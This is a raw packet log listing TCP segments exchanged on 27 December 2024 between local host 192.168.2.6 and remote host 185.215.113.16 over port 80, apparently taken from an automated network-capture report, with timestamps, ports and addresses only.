Dec 27, 2024 08:52:29.351480007 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.351491928 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.351540089 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.355637074 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.355681896 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.355762959 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.359277964 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.359375954 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.359440088 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.363042116 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.363143921 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.363193989 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.366686106 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.366777897 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.366838932 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.370328903 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.370402098 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.370476961 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.374011040 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.374094963 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.374160051 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.377644062 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.377753973 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.377831936 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.381269932 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.381355047 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.381417990 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.384985924 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.385145903 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.385205984 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.388555050 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.388665915 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.388725996 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.392184973 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.392247915 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.392277956 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.394521952 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.395817995 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.395891905 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.395925999 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.395968914 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.399518967 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.399627924 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.399692059 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.403327942 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.403352022 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.403405905 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.406770945 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.406888962 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.406950951 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.410438061 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.410548925 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.410605907 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.414071083 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.414211035 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.414274931 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.417689085 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.417772055 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.417807102 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.418520927 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.421355963 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.421437025 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.421480894 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.421528101 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.424981117 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.425090075 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.425152063 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.428658962 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.428742886 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.428797960 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.432284117 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.432410002 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.432466030 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.435969114 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.436053038 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.436120987 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.439589024 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.439698935 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.439752102 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.443217993 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.443342924 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.443392992 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.446865082 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.446989059 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.447041988 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.450515985 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.450625896 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.450686932 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.454166889 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.454255104 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.454265118 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.454516888 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.457798958 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.457922935 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.457973003 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.461462975 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.461529970 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.461581945 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.534255981 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.534398079 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.534482002 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.535762072 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.535871983 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.535926104 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.538749933 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.538851023 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.538903952 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.541793108 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.541897058 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.541945934 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.544799089 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.544864893 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.544912100 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.547769070 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.547832012 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.547869921 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.550522089 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.550612926 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.550713062 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.550761938 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.553419113 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.553530931 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.553535938 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.553762913 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.556289911 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.556303024 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.556353092 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.558947086 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.559032917 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.559084892 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.561625957 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.561667919 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.561736107 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.562516928 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.564279079 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.564322948 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.564367056 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.564400911 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.566914082 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.567125082 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.567173958 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.569533110 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.569660902 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.569709063 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.572060108 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.572113037 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.572249889 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.572642088 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.574521065 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.574572086 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.574585915 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.574616909 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.577048063 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.577111006 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.577159882 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.579495907 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.579602003 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.579644918 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.581892967 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.582020998 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.582067013 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.584335089 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.584382057 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.584420919 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.584455967 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.586715937 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.586783886 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.586810112 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.588604927 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.589071035 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.589112043 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.589169025 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.589205027 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.591408014 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.591468096 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.591509104 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.591542006 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.593827009 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.593878031 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.593926907 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.596105099 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.596155882 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.596220970 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.596256018 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.598464012 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.598525047 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.598586082 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.600817919 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.600930929 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.600989103 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.603172064 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.603226900 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.603337049 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.604563951 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.605540991 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.605583906 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.605618000 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.605655909 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.607856989 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.607899904 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.607969999 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.608010054 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.610227108 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.610351086 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.610399008 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.612682104 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.612742901 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.612782955 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.615009069 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.615067959 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.615104914 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.616667986 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.617325068 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.617450953 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.617508888 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.619642973 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.619749069 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.619801998 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.621997118 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.622102976 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.622158051 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.624340057 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.624387026 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.624435902 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.624645948 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.626668930 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.626718044 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.626787901 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.626826048 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.629034042 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.629172087 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.629218102 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.631413937 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.631467104 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.631509066 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.631548882 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.633738995 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.633841991 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.633892059 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.636105061 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.636233091 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.636301994 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.638437033 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.638573885 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.638622999 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.640795946 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.640904903 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.641066074 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.643150091 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.643203020 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.643256903 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.643296003 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.645523071 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.645576954 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.645627975 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.645750046 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.647883892 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.647937059 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.647970915 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.648009062 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.650242090 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.650294065 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.650296926 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.650333881 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.652543068 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.652589083 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.652668953 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.652724028 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.654936075 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.654967070 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.654995918 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.655018091 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.657279015 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.657326937 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.657430887 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.657469988 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.659677982 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.659749031 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.659780025 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.659838915 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.661956072 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.661999941 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.662049055 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.662086964 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.664366961 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.664381981 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.664412022 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.664433002 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.666682005 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.666800976 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.666846991 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.669018984 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.669157982 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.669210911 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.726600885 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.726660967 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.726716042 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.726782084 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.727385998 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.727761030 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.727829933 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.727864981 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.728620052 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.729479074 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.729549885 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.729584932 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.729615927 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.731221914 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.731260061 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.731336117 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.731416941 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.732979059 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.733022928 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.733066082 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.734671116 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.734769106 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.734810114 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.736335993 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.736416101 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.736417055 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.736519098 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.738002062 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.738054991 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.738091946 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.738146067 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.739675999 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.739726067 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.739774942 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.740534067 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.741332054 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.741375923 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.741447926 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.741487026 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.742954016 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.742997885 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.743069887 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.743109941 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.744498014 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.744630098 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.744700909 CET	49991	80	192.168.2.6	185.215.113.16
